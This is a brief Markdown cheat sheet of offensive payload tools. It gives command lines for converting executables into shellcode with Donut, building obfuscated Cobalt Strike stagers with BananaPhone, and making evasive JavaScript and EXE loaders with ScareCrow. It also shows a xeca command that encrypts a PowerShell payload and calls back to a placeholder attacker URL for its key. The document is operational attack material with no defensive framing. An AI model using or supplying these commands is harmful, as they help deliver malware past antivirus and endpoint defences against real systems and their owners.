23 lines
834 B
Markdown
23 lines
834 B
Markdown
- Donut
|
|
- `EXCELntDonut -f CSRunner.cs --sandbox --obfuscate`
|
|
- Convert EXE (such as from Scarecrow) into PIC shellcode)
|
|
- `./donut -a 2 -f 7 -o donut\_payload.bin cmd.exe`
|
|
- BananaPhone
|
|
- Generate 64-bit C# stager in Cobalt Strike
|
|
- `cd BananaPhone/example/hideexample/banana`
|
|
- `go generate .`
|
|
- Copy byte array from stager into main.go
|
|
- `env GOOS=windows GOARCH=amd64 go build -ldflags -H=windowsgui`
|
|
- Scarecrow
|
|
- JavaScript
|
|
- `./ScareCrow -I beacon.bin -Loader control -O access.js -domain test.com`
|
|
- EXE
|
|
- `./ScareCrow -I payload64.bin -Loader binary -domain acme.com`
|
|
- xeca
|
|
- Save Powershell payload as a .ps1 file
|
|
- `xeca powershell --payload cthulhu.ps1 --url http://attacker.ip
|
|
- Execute "launch.txt", will call back to attacker for encryption key
|
|
- Limelighter
|
|
- Tiki Torch
|
|
- CactusTorch
|
|
- Sharpshooter |